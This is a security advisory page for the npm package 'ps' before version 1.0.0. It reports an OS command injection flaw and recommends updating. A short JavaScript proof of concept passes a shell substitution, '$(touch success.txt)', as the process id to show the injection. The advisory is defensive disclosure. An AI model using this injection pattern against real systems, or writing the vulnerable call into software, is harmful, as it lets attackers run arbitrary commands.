GHSA-cfhg-9x44-78h2

    Dashboard / Vulnerabilities / GHSA-cfhg-9x44-78h2

    GHSA-cfhg-9x44-78h2

    Published: 17 Sept 2018Last Modified: 8 Nov 2023

    Summary: ps Enables OS Command Injection

    Details: Versions of `ps` before 1.0.0 are vulnerable to command injection. ### Proof of concept: ```js var ps = require('ps'); ps.lookup({ pid: "$(touch success.txt)" }, function(err, proc) { // this method is vulnerable to command injection if (err) {throw err;} if (proc) { console.log(proc); // Process name, something like "node" or "bash" } else { console.log('No such process'); } }); // Result: The file success.txt will exist on the filesystem if the touch command was executed ``` ## Recommendation Update to version 1.0.0 or later.

    Affected packages

    Package

    Name: ps

    Purl: pkg:npm/ps

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -1.0.0

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High